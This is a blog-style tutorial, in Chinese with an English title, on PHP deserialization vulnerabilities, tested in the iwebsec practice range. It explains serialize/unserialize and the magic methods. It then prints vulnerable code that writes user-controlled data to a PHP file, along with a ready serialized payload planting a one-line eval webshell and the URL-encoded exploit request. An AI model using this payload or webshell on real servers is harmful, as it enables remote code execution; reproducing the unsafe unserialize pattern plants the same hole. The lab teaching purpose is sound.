Web security: Test of PHP deserialization vulnerability (write a sentence to the server.)

Web Security: Testing for PHP Deserialization Vulnerabilities

When programmers write code, they do not perform a strict inspection on the serialized string input by the user, causing malicious users to control a process of deserialization, which leads to uncontrollable XSS vulnerabilities, code execution, SQT injection, directory traversal, etc. as a result of. Certain magic methods are automatically triggered during deserialization. It is possible to trigger some magic methods in the object when deserializing.


Table of contents:

Web Security: Testing for PHP Deserialization Vulnerabilities

Test of PHP deserialization vulnerability:

Due to shooting range reasons, the question cannot be successfully written here:


测试使用的靶场是:iwebsec 靶场

搭建过程:https://tianyuk.blog.csdn.net/article/details/130341391
序列化和反序列化的理解:

序列化理解:就是将对象转换成字符串。

反序列化理解:数据的格式转换对象的序列化利于对象的保存和传输,也可以让多个文件共亨对象。
PHP中有两个函数 serialize() 和 unserialize()

serialize()              //将一个对象转换成一个字符串

unserialize()            //将字符串还原成一个对象
序列化 serialize() 函数理解:

//序列化serialize()将一个对象转换成一个字符串
<?php
    class S{                                //class是类.S是类名
        public $test="bgxg111";         //public 访问控制修饰符,$test是一个变量,bgxg111是变量的值.
    }
    $s=new S();                 //new是 将类实例化成对象.
    echo serialize($s);             //serialize()函数是 把 $s 这个对象进行序列化.
?>
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"bgxg111";}
    //    O:代表object   或  i:代表数组.
    //    1:代表对象名字长度.
    //    S:对象的名称.
    //    1:代表对象里面的个数.
    //    s:数据类型(string)
    //    4:变量名称的长度.
    //    test:变量名称
    //    s:数据类型
    //    7:变量值的长度
    //    bgxg111:变量值
    
反序列化 unserialize() 函数的理解:

//就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
<?php
    $u='O:4:"bgxg":1:{s:4:"test";s:7:"bgxg111";}';        //将系列化复制给变量u
    var_dump(unserialize($u));        //unserialize()是反系列化.
?>
//结果:object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(4) "bgxg" ["test"]=> string(7) "bgxg111" } 
    
常见的几个魔法函数:

__construct()                  #当一个对象创建时被调用

__destruct()                  #当一个对象销毁时被调用

__toString()                  #当一个对象被当作一个字符串使用

__sleep()                     #在对象在被序列化之前运行

__wakeup()                  #将在序列化之后立即被调用

Test of PHP deserialization vulnerability:

利用 PHP 反序列化漏洞向服务器写入一句话 木马.
代码审计:

<?php
	highlight_file(__FILE__);
	class a {
    	var $test = 'hello';
    	function __destruct(){
        	$fp = fopen("/var/www/html/vuln/unserialize/01/hello.php","w");
        	fputs($fp,$this->test);
        	fclose($fp);
    	}
	}
	$class = stripslashes($_GET['re']);
	$class_unser = unserialize($class);
	require '/var/www/html/vuln/unserialize/01/hello.php';
	require_once '../../footer.php';
?>
存在__destruct函数可以将 $test 的值写入到hello.php文件中,所以可以利用这个函数将PHP代码传
hello.php文件中.(写入一个一句话木马)
<?php
  class a{
      var $test = '<?php @eval($_POST[bgxg])?>';
}
$a = new a();
$class_ser = serialize($a);
print_r($class_ser);
?>

上面代码执行的结果:

序列化后得到的结果是这个样子的

    O:1:"a":1:{s:4:"test";s:27:"<?php @eval($_POST[bgxg])?>";}

    //    O:代表object   或  i:代表数组.
    //    1:代表对象名字长度.
    //    a:对象的名称.
    //    1:代表对象里面的个数.
    //    s:数据类型(string)
    //    4:变量名称的长度.
    //    test:变量名称
    //    s:数据类型
    //    27:变量值的长度
    //    <?php @eval($_POST[bgxg])?>:变量值
测试代码:

?re=O:1:%22a%22:1:{s:4:%22test%22;s:27:%22%3C?php%20@eval($_POST[bgxg])?%3E%22;}

执行时要把其他的符号转化为url编码.

生成的文件应该就在这个文件中.

查看 hello.php 文件:cat hello.php

利用 蚁剑 进行连接:


Due to shooting range reasons, the question cannot be successfully written here:

靶场中要注意在docker容器中并不存在 /var/www/html/vuln/unserialize/01/hello.php文件,真实
的路径为 /var/www/html/unserialize/01/hello.php 故而需要将源码中hello.php修改为正确路径
docker exec -it bc23 /bin/bash            //切换为root用户

cd /var/www/html/        

cd unserialize/        

cd 01                

vi index.php        //编辑这个文件内容.(点击 i 输入,把下面的代码替换掉里面的源代码.)
                     (然后点击 esc 键,输入 :wq    ,意思是退出并保存.)
<?php
  require_once('../../header.php');
  ?>
<html>
	<head>
		<title>反序列化漏洞</title>
	</head>
	<h2>反序列化漏洞</h2>
		<div class="alert alert-success">
			<p>/index.php?re=hello </p>
		</div>
	<body>
<?php
	highlight_file(__FILE__);
	class a {
    	var $test = 'hello';
    	function __destruct(){
        	$fp = fopen("/var/www/html/unserialize/01/hello.php","w");
        	fputs($fp,$this->test);
        	fclose($fp);
    	}
	}
	$class = stripslashes($_GET['re']);
	$class_unser = unserialize($class);
	require '/var/www/html/unserialize/01/hello.php';
	require_once '../../footer.php';
?>

      

      

     

Guess you like

Origin blog.csdn.net/weixin_54977781/article/details/130917374